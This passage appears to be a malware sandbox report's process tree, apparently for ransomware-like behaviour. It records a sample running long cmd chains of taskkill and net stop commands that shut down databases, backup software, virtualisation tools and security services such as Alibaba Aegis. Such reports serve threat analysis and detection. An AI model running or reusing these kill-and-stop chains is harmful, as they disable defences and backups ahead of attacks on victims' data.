- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM navicat.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SupportAssistAgent.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SunloginClient.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SOUNDMAN.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM WeChat.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TXPlatform.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Tencentdll.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM jenkins.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM QQ.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM HaoZip.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM HaoZipScan.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlservr.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdhost.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdlauncher.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM reportingservicesservice.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM softmgrlite.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlbrowser.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssms.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vmtoolsd.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM baidunetdisk.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM yundetectservice.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssclient.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNAupdaemon.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RAVCp164.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxEM.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxHK.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxTray.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM 360bdoctor.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNCEFExternal.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM PrivacyIconClient.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UIODetect.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AutoDealService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM IDDAService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM EnergyDataService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MPService.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TransMain.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExec.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Att.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mdm.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExecManagementService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bengine.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM benetns.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beserver.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pvlsvr.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bedbg.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RemoteAssistProcess.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarMoniService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGameSrv.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarCMService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TsService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGame.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarServerView.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM IcafeServicesTray.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BsAgent_0.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ControlServer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DisklessServer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DumpServer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM NetDiskServer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM PersonUDisk.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM service_agent.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SoftMemory.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarServer.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pg_ctl.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rcrelay.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SogouImeBroker.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CCenter.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ScanFrm.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM d_manage.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RsTray.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wampmanager.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RavTray.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mssearch.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlmangr.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM msftesql.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseSvr.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oracle.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TNSLSNR.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseConsole.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM aspnet_state.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AutoBackUpEx.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM redis-server.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MySQLNotifier.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oravssw.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fppdis5.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM His6Service.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM dinotify.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM JhTask.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Executer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AllPassCBHost.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ap_nginx.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AndroidServer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM XT.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM XTService.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""3⤵
-
C:\Windows\SysWOW64\net.exenet stop UIODetect4⤵
-
C:\Windows\SysWOW64\net.exenet stop VMwareHostd4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMwareHostd5⤵
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer84⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer85⤵
-
C:\Windows\SysWOW64\net.exenet stop VMUSBArbService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMUSBArbService5⤵
-
C:\Windows\SysWOW64\net.exenet stop VMAuthdService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMAuthdService5⤵
-
C:\Windows\SysWOW64\net.exenet stop wanxiao-monitor4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wanxiao-monitor5⤵
-
C:\Windows\SysWOW64\net.exenet stop WebAttendServer4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WebAttendServer5⤵
-
C:\Windows\SysWOW64\net.exenet stop mysqltransport4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mysqltransport5⤵
-
C:\Windows\SysWOW64\net.exenet stop VMnetDHCP4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMnetDHCP5⤵
-
C:\Windows\SysWOW64\net.exenet stop "VMware NAT Service"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"5⤵
-
C:\Windows\SysWOW64\net.exenet stop Tomcat84⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Tomcat85⤵
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer4⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer5⤵
-
C:\Windows\SysWOW64\net.exenet stop QPCore4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QPCore5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASLicenceServer4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASLicenceServer5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASWebServer4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASWebServer5⤵
-
C:\Windows\SysWOW64\net.exenet stop AutoUpdateService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AutoUpdateService5⤵
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Detect Service"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Update Service"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"5⤵
-
C:\Windows\SysWOW64\net.exenet stop "AliyunService"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AliyunService"5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASXMLService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASXMLService5⤵
-
